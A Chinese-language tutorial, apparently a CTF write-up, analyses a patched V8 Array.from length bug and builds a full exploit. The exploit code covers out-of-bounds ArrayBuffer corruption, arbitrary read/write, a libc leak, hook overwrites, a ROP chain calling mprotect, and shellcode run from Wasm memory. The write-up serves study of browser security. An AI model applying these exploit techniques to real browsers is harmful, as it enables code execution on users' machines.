本文将教会读者,如何从一个零基础漏洞新手,学会从chromium的commit中获取diff和poc,最后写出一个v8的exploit。
预备知识V8基础
准备工作
进入题目给出的网站,能够找到漏洞修复的信息。
- 1.上个版本的hash值,以及diff文件
- 2.用于验证崩溃的poc文件
我们能够通过hash值来回溯到之前到版本。使用poc来验证崩溃,不过该漏洞仅有DEBUG版会对该poc发生崩溃。同时我们也可以查看diff,根据补丁分析漏洞。
v8环境搭建
#回溯版本到包含漏洞版本
$ git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
$ gclient sync
#分别编译Debug和Release版本
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8
$ tools/dev/v8gen.py x64.release
$ ninja -C out.gn/x64.release d8
diff
查看和parent版本的diff文件
POC分析
let oobArray = []; //创建了一个oobArray数组对象
let maxSize = 1028 * 8; //8244
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( //实现了一个迭代器
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0; //在迭代器中将oobArray.length置零
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//%DebugPrint(oobArray);
//%SystemBreak();
oobArray[oobArray.length - 1] = 0x41414141; //触发crash
poc分析需要一定的JS基础,我已经把自己整理的一些基础写在文章后面了,和我一样0基础的读者可以先去看一下
length置零
JSArray数组置零是poc的关键部分,让我们看一下JSArray的length置零的效果。
var a=['migraine','sudo'];
%DebugPrint(a);
a.length=0;
%DebugPrint(a);
置零之前
JSArray.length=2,用于存储数据的FixedArray长度也为2。
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x37fff628d471 <FixedArray[2]> [PACKED_ELEMENTS (COW)]
- length: 2 <--JSArray.length=2
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37fff628d471 <FixedArray[2]> { <--FixedArray.length=2
0: 0x111759ea7021 <String[8]: migraine>
1: 0x111759ea7041 <String[4]: sudo>
置零之后
JSArray的长度被置0,而FixedArray的空间也被释放。
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x3ab30b882251 <FixedArray[0]> [PACKED_ELEMENTS] <--FixedArray Released...
- length: 0 <--JSArray.length=0
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}
需要关注的点就是JSArray的length和FixedArray的length在正常操作下是保持同步的,而接下来的poc将打破这种同步关系
触发DCHECK而造成Crash
DECHECK检查index和this->length()的时候出现了一些问题,检查语句来自fixed-array-inl.h:96。
FixedArray::set中的this对象与oobArray的elements地址相符。但是这里的elememts指向的却是一个空数组。
我们注意到
- 1.JSArray结构中的length=8224
- 2.JSArray中的Elements和Property结构(分别指向FixedArray),却是一个空数组(length=0)
执行FixedArray::set方法,就是向对象的某个index位置写入value,在poc对应的调用语句就是oobArray[oobArray.length – 1] = 0x41414141;。
FixedArray对象的this->length()=0(因为this此时是指向Elements这个空数组),而index为8223(因为length=8224)。
产生一个越界写。在release版本下是没有DEBUG CHECK的,所以能够造成任意地址写。同理,使用读取函数也能造成越界读。
越界读取crash
Patch分析
让我们来分析diff,找出导致JSArray的length值和实际存储空间不同的原因。根据上文中对poc的调试,应该是某个判读导致对JSArray的length值先被置零,而后却被改回原来的数据,产生一个越界读取。
源代码中代码包含很多CodeStubAssembler的内容。
CodeStubAssembler:为v8提供的高效的低级功能,非常接近汇编语言,同时保持platform-independent和可读性。定义在code-stub-assembler.h中。
这部分参考大神的总结
F_BUILTIN:创建一个函数
Label:声明将要用到的标签名,这些标签名将作为跳转的目标
BIND:绑定标签(相当于将一个代码块和一个标签名绑定,跳转时就可以使用标签名跳转到相应代码块)
Branch:条件跳转指令
VARIABLE:定义一些变量
Goto:跳转
CAST:类型转换
CALLJS:调用给定的JS函数
根据patch,推断GotoIf的判断出现了问题。Path将SmiLessThan改成了SmiNotEqual,只要两者不相同就会运行&runtime。所以我们判断,漏洞产生于当length_smi大于old_length的时候,并且没有发生Goto跳转的情况。
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
...略
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length
根据注释可以很容易地推断。
- 1.运行&runtime会根据length_smi初始化property数组,也就是根据length_smi大小分配正确空间
- 2.运行 StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi
如果length_smi小于old_length就会调用&runtime实现内存缩减,而如果length_smi等于oldlength就会调用StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi
但如果length_smi>old_length,那么就会导致JSArray.length比old_length实际存储,但是内存并没有被修改(对象FixedArray中的length不变),要大的情况,将会造成一个数组越界漏洞。
当然,漏洞产生的原因已经清楚了,但是我们对漏洞还存在疑问—为什么length_smi会大于old_length,以及这两个参数的本质所以需要回溯到上层代码。调用该函数的代码并不多,而我们poc中调用了Array.from,所以比较好找,不过这段代码是比较长的,需要耐心看和分析。
这部分代码是Array.From的C++实现(要看js实现可以看polyfill),array.from的功能在下文中的JS基础中有介绍。在结尾调用了GenerateSetLength函数。
ArrayFrom实现
请仔细阅读下面的代码,否则你可能会一直困惑于poc的撰写方式。
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount)); //获取输入参数
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc)); //将参数转化为指针
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
//判断输入的map_function是否可以执行//实际上这部分和我们的poc关系不大
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error); //判断是否Undefined
GotoIf(TaggedIsSmi(map_function), &error); //判断是否是Smi
Branch(IsCallable(map_function), &no_error, &error); //判断是否Callable
BIND(&error); //如果跳转到error,会运行这里
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error); //如果跳转no error,就会从这里开始运行
}
Label iterable(this), not_iterable(this), finished(this), if_exception(this);//设置标签
TNode<Object> this_arg = args.GetOptionalArgumentValue(2); //获取Object的参数
TNode<Object> items = args.GetOptionalArgumentValue(0); //获取我们的ArrayLike
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items); //将ArrayLike转化为对象
TVARIABLE(Object, array);
TVARIABLE(Number, length); //定义Number变量,值为length
// Determine whether items[Symbol.iterator] is defined:
//确认items的迭代器是否被定义(Array类型包含Symbol.iteractor迭代器)
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like); //从array_like中获取迭代器
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);//分支,可迭代和不可迭代
//可迭代的情况运行此处代码
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable.
//检测迭代器是否可用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);//可用则跳转到next
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
//进入迭代循环,循环到迭代器运行结束(这个时候结合我们poc里的迭代器,理解漏洞)
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map))); //获取迭代器返回的值
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
index = NumberInc(index.value()); //获取index的值
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}
BIND(&loop_done);
{
length = index; //将index赋值给length(index在poc中应该为8224)
Goto(&finished); //跳转到finished代码
}
BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
// Since there's no iterator, items cannot be a Fast JS Array.
BIND(¬_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));
// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));
// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());
TVARIABLE(Number, index, SmiConstant(0));
GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);
// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);
value = GetProperty(context, array_like, index.value());
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}
// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}
BIND(&finished); //finished入口
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value()); //调用我们的漏洞函数,将length输入
args.PopAndReturn(array.value());
}
总结ArrayFrom的大概流程,为了方便省略了call部分,我们只需要知道我们对数组的操作都做用于oobArray即可。
这时候再分析poc就很清楚,关键点是每一次迭代都会调用oobArray.length = 0;
,所以导致输入数组的array.length(数组长度)<length(迭代次数)。然后调用StoreObjectFieldNoWriteBarrier产生越界。
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length
此处便是将length_smi(迭代次数),传递给了JSArray的length,上层函数中JSArray就是我们的oobArray对象,length_smi则是oobArray内部的FixedArray(Element)迭代时累加的产物。
漏洞产生的原因主要是因为开发者没有考虑到,传入的ArrayLike也可以是真的数组(oobArray),而真实的数组的length是可以改变的。从而使得获取到的Array的对象(因为被我们置零了)实际长度是小于迭代次数。即产生了oobArray.length要大于Elements的数组空间的现象。
Patch方式我们也都看到了,只需要将大于的情况也调用&runtime创建空间即可。
漏洞利用
内存模型
首先需要理解V8的一部分内存模型,这部分可以参考我在V8基础里的介绍。
关键字:JSFunction和ArrayBuffer
实现OOB r&w
从越界读写到oob read&write,需要借助ArrayBuffer对象。通过oobArray的数组越界,覆盖ArrayBuffer的Backing Store,实现任意地址读写。
我们需要在GC堆中布置一定数量的ArrayBuffer结构,希望至少其中某个能oobArray的越界写入范围。
类型转换
读写操作时,需要进行类型转换。Float – Uint
我们的oobArray=[1.1],读写都是Float类型的,所以需要做个类型转换。而且64位下只有Uint32Array,只能读取32bit的数据。我们利用Float64Array进行读取,然后转化为两个Uint32Array。
/*l类型转换类*/
class ChangeType{
constructor(){ //构造函数
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){ //将两个Uint32转化为一个Float64
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){ //将一个Float64转化为两个Uint32
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x) //打印16进制
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
寻找ArrayBuffer对象
我们在迭代器中布置100个ArrayBuffer对象,将对象存入进一个arrays。经过GC回收内存后,这些对象会被GC移动到原oobArray内存(已被释放),就可以通过oobArray对ArrayBuffer进行修改。
在找到可控的ArrayBuffer对象之后,我们可以通过修改ArrayBuffer的length值,然后重新遍历存放ArrayBuffer的数组,确定具体可控对象,然后实现oob read&write。
let oobArray = [1.1]; //让oobArray为float类型 方便之后的读取写入
let arrays=[];
let maxSize = 1028 * 8; //8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // lenght!=0 避免GC彻底回收,Element会被指向一个空指针,不在原来的地址范围。
/*布置ArrayBuffer对象*/
for(let i=0;i<100;i++)
{
//let array=new ArrayBuffer(0xbeef);
et array=new ArrayBuffer(0x512); //创建length=0xbeef的ArrayBuffer
arrays.push(array); //将BufferArray放入数组(疑问:数组会对GC的回收有什么影响?)
//%DebugPrint(array); //Debug用
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
/*寻找和确定ArrayBuffer对象*/
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
/*找到oobArry可控的ArrayBuffer*/
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
//if(val===0xbeef00000000)
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000); //修改length值
break;
}
}
/*确定我们可控ArrayBuffer的ID*/
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
}
}
一个困扰我很长时间的小问题
在release下使用%DebugPrint(array)时,似乎会发生一些奇怪的事情。这是打印出来的效果。
所有的ArrayBuffer的地址都在一起,查看里面的内存,他们的确拥有一个ArrayBuffer的完整结构,这些所谓的ArrayBuffer的地址都比较高(不管笔者以什么方式创建ArrayBuffer),以至于永远在我们数组越界的范围之外。这样就会导致无法利用。
刚开始笔者猜测是否是因为oobArray的CHUNK没有被GC回收走。
查看内存,刚开始并没有发生什么异样,符合ArrayBuffer的结构。但是仔细看过之后发现ArrayBuffer本该存折Map指针的地方和Map的值并不匹配。不过周围其他值似乎都很正常(length,backing store之类的)我们对这个指针进行解引用。
实际上这个经过第二次解引用的指针才是正确的内存,此时的MAP部分已经和%DebugPrint的结构相一致,其他部分也都是完整的。而我们为了找到ArrayBuffer,进行了两次解引用。
为什么要多一次解引用呢?
应该是与自动回收机制(GC)有关。笔者猜测,可能是之前的内存被释放(oobArray),然后GC将刚才ArrayBuffer从原来的地方Copy走了,统一移动到这块块刚被释放到内存中。这也解释了为什么ArrayBuffer的地址一开始都在oobArray读取的范围外,因为当时GC还没将这块内存释放。(简单来说就是GC把ArrayBuffer带走了,在原地址处留了一个指针,然而我一直不知道那是指针。。浪费了我超久的时间)具体原因还需要看研究一下GC的实现方式,未来再填坑。
实验过程中还发现,如果没有使用arrays数组将ArrayBuffer写入,ArrayBuffer的地址并不会被GC改变。这部分目前还搞不明白,只能看大神们写的exploit。
实现任意地址读写
这部分和之前的oobArray读写差不多,直接上代码。
注意点:需要同时修改Backing Store和kBitField Offset,这两个相邻变量的值是相同的,经过调试发现同时修改才有效。。
class ArbitraryRW
{
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
return ct.f2i(this.f64[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
this.f64[0]=ct.i2f(value);
}
leak(){ //泄露backing store指针
return ct.f2i(oobArray[backing_store]);
}
}
var wr=new ArbitraryRW();
how2GetShell
大概把下面三种方式都实验一下
- 1.泄露libc
- 2.Wasm
- 3.JIT(因为没有W权限,所以只是尝试一下找到JIT)
泄露libc
泄露堆中包含指向unosort bin的指针,Hpasserby师傅认为在fd或者bk的位置上,0x7f开头的值一定指向&main_arena+88的地址,这样只需要减去偏移地址就能获得libc的地址。unsortbin泄露地址
backingstore一开始的指针指向的就是堆内存,我们可以通过对堆内存进行搜索,来泄露unsoirtbin的指针。
实际测试中,循环读数据太多次ArrayBuffer对象的地址会跑飞(具体原因未知,可能又被GC挪走了),所以循环次数要控制,不能全部地址都遍历。
//刚开始的可控ArrayBuffer地址
gdb-peda$ x/20xg 0x24903d38e5a9-1
0x24903d38e5a8: 0x00003be96c383fe9 0x000033bd5ef82251
0x24903d38e5b8: 0x000033bd5ef82251 0x0000beaf00000000
0x24903d38e5c8: 0x00005555561b9840 0x00005555561b9840
//反复read之后的ArrayBuffer地址
gdb-peda$ x/20xg 0x35c638b8e7a9-1
0x35c638b8e7a8: 0x000024903d38e5a8 0x000033bd5ef82251
0x35c638b8e7b8: 0x000033bd5ef82251 0x0000beaf00000000
0x35c638b8e7c8: 0x00005555561b9840 0x00005555561b9840
我使用的是Hpasserby师傅提出方法,直接暴力搜索堆,通过size/presize来匹配chunk,找到fd/bk是地址为0x7f开头为止。然后减去偏移即可。
用这种方式,比较容易出问题的部分在于ArrayBuffer的大小,太大和太小都会导致heap中不存在unsortbin(错误案例0xbeaf和0x20),毕竟v8的HEAP似乎没有那么被“中用”。所以我这里要修改前面的代码,改用0x512作为ArrayBuffer的长度。筛选时注意条件(见注释)。
/*泄露libc地址*/
let heap=wr.leak()-0x10;
chunk=heap; //以backing store指针-0x10作为初始化chunk
console.log("[*]leak backing store address="+hex(heap));
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
//循环以chunk为单位遍历
for(let i=0;i<0x3000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);
//筛选条件:
//size!==0,必须为chunk结构
//size%2===0,上一个chunk必须被free(prev inuse=0)
//prev_size <=0x3f0
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
//%SystemBreak()
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
//console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;
break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}
size=parseInt(size/8)*8; //size要抹掉最后的3bit
chunk+=size;
}
if(finded!==0)
{
libc_base=finded-0x3c3bb8;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}
如果是pwn题,修改malloc_hook为one_gadget就很简单了,可以弹个本地shell(并没有实际作用。。)。这可是浏览器题,至少也要执行一下shellcode,弹个计算器吧。
/*malloc_hook*/
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
发现一种用system弹calculator的方式,将free_hook替换为system,这样在释放binsh的时候就会执行system(“/snap/bin/gnome-calculator)。Mark一下,不过这个也是pwn类型的利用。
wr.write(libc_base + 0x3C57A8, libc_base + 0x45380); // free hook
const binsh = new Uint32Array(new ArrayBuffer(0x30));
cmd = [1634628399, 1768042352, 1852256110, 761621871, 1668047203, 1952541813, 29295];
// "/snap/bin/gnome-calculator"
for (var i = 0; i < cmd.length; i++)
binsh[i] = cmd[i];
<br>
一开始想看看能不能用Heap Spary+ROP来执行shellcode,v8的HeapSpray我一直找不到合适的喷射值,就暂时放一放。还是参考大师傅们的利用手法,在栈中写值来控制EIP。
布置shellcode和ROP
首先需要为ArbitraryRW增加一个leak功能,相当于实现了一个%DebugPrint。这样就能泄漏shellcode的地址。需要添加的代码如下。
let oobArray = [1.1]; //float
let arrays=[];
+let objs=[]; //for leak
let maxSize = 1028 * 8;
//8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
+ let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
+ objs.push(obj);
//%DebugPrint(array);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
+let obj_index;
+let obj_offset;
+//find Objects
+for(let i=0;i<maxSize;i++)
+{
+ let val=ct.f2i(oobArray[i]);
+ if(val===0x123400000000)
+ {
+ obj_offset=i;
+ console.log("[*]find target objecets in oobArray number ["+i+"]");
+ oobArray[i]=ct.i2f(0x123500000000);
+ break;
+ }
+}
+for(let i=0;i<100;i++)
+{
+ if(objs[i].a===0x1235){
+ console.log("[*]find target objs number ["+i+"]");
+ obj_index=i;
+ break;
+ }
+}
制造一个可控对象obj,在通过oobArray泄露obj的属性a。要leak一个对象的地址,只需要将对象绑定到obj的a属性,然后oobArray泄露地址即可。
class ArbitraryRW
{
+ leak_obj(obj){
+ objs[obj_index].a = obj;
+ return ct.f2i(oobArray[obj_offset]) - 1;
+ }
...
}
然后我们就可以布置Shellcode和ROP链,通过ROP来调用mprotect将shellcode所在地址空间的属性改为RWX。至于如何控制程序流,就这个技巧之前也没接触过,就是向栈中写retn,希望在程序退栈的时候能踩到上面,然后一路retn到我们布置在高位的rop链。一开始想多覆盖一些retn,不过程序直接崩了,覆盖少量的反而成功率更高。
Stack的地址,我们可以通过libc中的全局变量environ来获得stack的一个高位指针。
$ readelf -r ~/libc.so.6 |grep environ
0000003c2df8 011b00000006 R_X86_64_GLOB_DAT 00000000003c5f98 _environ@@GLIBC_2.2.5 + 0
0000003c2eb8 051100000006 R_X86_64_GLOB_DAT 00000000003c5f98 __environ@@GLIBC_2.2.5 + 0
代码如下
//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);
ptr=wr.read(shellcode_addr+0x18)-1; //获取shellcode地址
shellcode_addr=wr.read(ptr+0x20); //TypeArray --> ArrayBuffer
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]; //弹出一个计算器
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}
//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]
//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));
let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<100;i++) //过多的覆盖反而会导致段错误,10~100都可以
{
wr.write(rop_addr-i*8,retn);
}
完整的利用见附录。
写利用的时候碰到了很多看似玄学的东西,困扰了很久,为了彻底搞懂花费了不少时间。虽然最很多自己想出的解决方案也都没什么营养,但最终把问题搞明白也是一个非常煎熬也是非常有意思的过程。比如在泄漏libc地址的时候,成功泄漏了main_arena+152的地址,但是后来去内存里了一看,fd的位置的值是0x0。查了好几遍都没找到,实在是很玄学,直到我在泄露前下了一个断点,发现泄露当时这个fd是存在的,只不过后来又被malloc掉了。毕竟我们利用js泄露地址时,并没有控制EIP,所以背后的程序还是在跑,堆空间也总是在变化。
Wasm执行shellcode
Wasm是一种可以让JS执行机器码的技术,我们可以借助Wasm来写入自己的shellcode。
要生成Wasm,最方便的方案是直接用大神写好的生成网站,可以将我们的C语言生成为调用Wasm的JS代码。
https://wasdk.github.io/WasmFiddle/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());
将网站底部生成的wasmCode和右上角的JS代码结合,就能运行C编译出的字节码。当然这个C并不能进行系统调用,所以直接用C写shellcode自然是不行的。不过我们可以通过自己的任意地址写,将自己的shellcode写入Wasm的RWX内存区域(但是并不是Wasm的AST,具体的我也不是特别了解)。
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
通过leak_obj函数将WASM的地址泄露,然后通过WASM的结构(在release下)一步步将RWX空间读取出来。需要注意的是根据不同版本的v8,数据结构可能不同 ,所以需要更具实际调试结果为准。此处的结构如下
wasmInstance.exports.main f->shared_info->code+0x70
获取RWX地址,直接将shellcode写进去就行了。之后只需要调用这个WASM函数就可以执行我们的shellcode。
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<sc.length;i++){
wr.write(instanceAddr+i,sc[i]);
}
f();
JIT
在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。这里我们就实验如何找到JIT的这块内存为止。
与写入WASM一样要通过数据的结构来寻找JIT的内存,索引关系如下
JSFunction->kCodeEntry Offset
//让function变hot
function f()
{
for(let i=0;i<0x1000000;i++)
{
let a='migraine';
}
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));
小结
